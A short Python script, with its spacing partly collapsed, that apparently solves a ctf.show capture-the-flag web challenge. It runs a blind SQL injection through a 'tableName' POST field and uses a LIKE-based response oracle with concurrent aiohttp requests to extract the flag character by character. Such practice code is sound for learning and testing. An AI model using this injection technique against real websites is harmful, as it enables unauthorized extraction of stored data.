SEM = asyncio.Semaphore(10) url="http://5120398b-c890-45ac-b9e8-44fa244d5598.challenge.ctf.show/select-waf.php" dic=string.digits+string.ascii_lowercase+'{-}'
asyncdefcheck(session,flag,i): asyncwith SEM: data = {"tableName": f"(ctfshow_user)where(pass)like'{flag+i}%'"} asyncwith session.post(url,data=data) as resp: text=await resp.text() return i if"$user_count = 1;"in text elseNone
asyncdefmain(): flag="ctfshow" print(flag,end="") asyncwith aiohttp.ClientSession() as session: for i inrange(50): tasks = [] for k in dic: tasks.append(asyncio.create_task(check(session,flag,k))) for core in asyncio.as_completed(tasks): result = await core if result: flag+=result print(result,end="") for i in tasks: ifnot i.done(): i.cancel() break